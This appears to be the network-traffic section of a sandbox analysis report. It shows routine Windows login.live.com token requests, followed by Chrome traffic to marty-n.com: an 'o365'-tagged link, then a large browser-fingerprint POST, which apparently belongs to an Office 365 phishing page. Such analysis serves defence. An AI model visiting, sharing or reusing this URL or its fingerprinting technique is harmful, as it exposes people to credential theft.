2024-10-25 20:07:36 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 25 Oct 2024 20:06:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: da882948-e0f7-43a3-8e80-3deee4255d4b PPServer: PPV: 30 H: PH1PEPF0001B778 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 25 Oct 2024 20:07:35 GMT Connection: close Content-Length: 11392
2024-10-25 20:07:36 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49709	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:07:38 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-25 20:07:38 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-25 20:07:38 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 25 Oct 2024 20:06:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: 850fcff9-d764-42c1-8da9-0af590370e0c PPServer: PPV: 30 H: SN1PEPF0003FB25 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 25 Oct 2024 20:07:37 GMT Connection: close Content-Length: 11392
2024-10-25 20:07:38 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49711	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:07:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-25 20:07:39 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-25 20:07:40 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 25 Oct 2024 20:06:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: 631a478f-34d0-466e-b4ae-c98f8432b4f6 PPServer: PPV: 30 H: BL02EPF0001D834 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 25 Oct 2024 20:07:40 GMT Connection: close Content-Length: 11412
2024-10-25 20:07:40 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49713	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:07:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-25 20:07:41 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-25 20:07:41 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 25 Oct 2024 20:06:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: e1ad3470-9967-44dd-88e5-0807bf99f8ee PPServer: PPV: 30 H: SN1PEPF0002F180 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 25 Oct 2024 20:07:41 GMT Connection: close Content-Length: 11412
2024-10-25 20:07:41 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49714	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:07:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4762 Host: login.live.com
2024-10-25 20:07:42 UTC	4762	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-25 20:07:43 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 25 Oct 2024 20:06:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: 3d18ae1b-d4f3-4fa3-9bd3-df961cdfde87 PPServer: PPV: 30 H: BL02EPF0001D903 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 25 Oct 2024 20:07:42 GMT Connection: close Content-Length: 10197
2024-10-25 20:07:43 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49718	185.45.66.155	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:01 UTC	715	OUT	GET /o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA= HTTP/1.1 Host: marty-n.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:01 UTC	179	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:01 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Content-Length: 4713 Content-Type: text/html; charset=UTF-8
2024-10-25 20:08:01 UTC	4713	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 59 6f 75 20 6e 65 65 64 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 74 6f 20 72 75 6e 20 74 68 69 73 20 61 70 70 2e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 0a 20 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <noscript>You need to enable JavaScript to run this app.</noscript> <div id="root">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49719	185.45.66.155	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:02 UTC	951	OUT	POST /o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA= HTTP/1.1 Host: marty-n.com Connection: keep-alive Content-Length: 139187 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://marty-n.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:02 UTC	16384	OUT	Data Raw: 64 61 74 61 3d 25 37 42 25 32 32 73 63 72 65 65 6e 25 32 32 25 33 41 25 37 42 25 32 32 61 76 61 69 6c 57 69 64 74 68 25 32 32 25 33 41 31 32 38 30 25 32 43 25 32 32 61 76 61 69 6c 48 65 69 67 68 74 25 32 32 25 33 41 39 38 34 25 32 43 25 32 32 77 69 64 74 68 25 32 32 25 33 41 31 32 38 30 25 32 43 25 32 32 68 65 69 67 68 74 25 32 32 25 33 41 31 30 32 34 25 32 43 25 32 32 63 6f 6c 6f 72 44 65 70 74 68 25 32 32 25 33 41 32 34 25 32 43 25 32 32 70 69 78 65 6c 44 65 70 74 68 25 32 32 25 33 41 32 34 25 32 43 25 32 32 61 76 61 69 6c 4c 65 66 74 25 32 32 25 33 41 30 25 32 43 25 32 32 61 76 61 69 6c 54 6f 70 25 32 32 25 33 41 30 25 32 43 25 32 32 6f 72 69 65 6e 74 61 74 69 6f 6e 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 53 63 72 65 65 6e 4f 72 69 65 Data Ascii: data=%7B%22screen%22%3A%7B%22availWidth%22%3A1280%2C%22availHeight%22%3A984%2C%22width%22%3A1280%2C%22height%22%3A1024%2C%22colorDepth%22%3A24%2C%22pixelDepth%22%3A24%2C%22availLeft%22%3A0%2C%22availTop%22%3A0%2C%22orientation%22%3A%22%5Bobject+ScreenOrie
2024-10-25 20:08:02 UTC	16384	OUT	Data Raw: 44 25 32 32 25 32 43 25 32 32 58 4d 4c 44 6f 63 75 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 58 4d 4c 44 6f 63 75 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 57 72 69 74 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 57 72 69 74 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 57 72 Data Ascii: D%22%2C%22XMLDocument%22%3A%22function+XMLDocument%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22WritableStreamDefaultWriter%22%3A%22function+WritableStreamDefaultWriter%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22WritableStreamDefaultController%22%3A%22function+Wr
2024-10-25 20:08:02 UTC	16384	OUT	Data Raw: 32 32 25 32 43 25 32 32 53 56 47 41 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 53 56 47 41 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 70 6f 6e 73 65 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 70 6f 6e 73 65 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 53 69 7a 65 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 53 69 7a 65 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 Data Ascii: 22%2C%22SVGAElement%22%3A%22function+SVGAElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22Response%22%3A%22function+Response%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22ResizeObserverSize%22%3A%22function+ResizeObserverSize%28%29+%7B+%5Bnative+code%5D+%7D%22%2
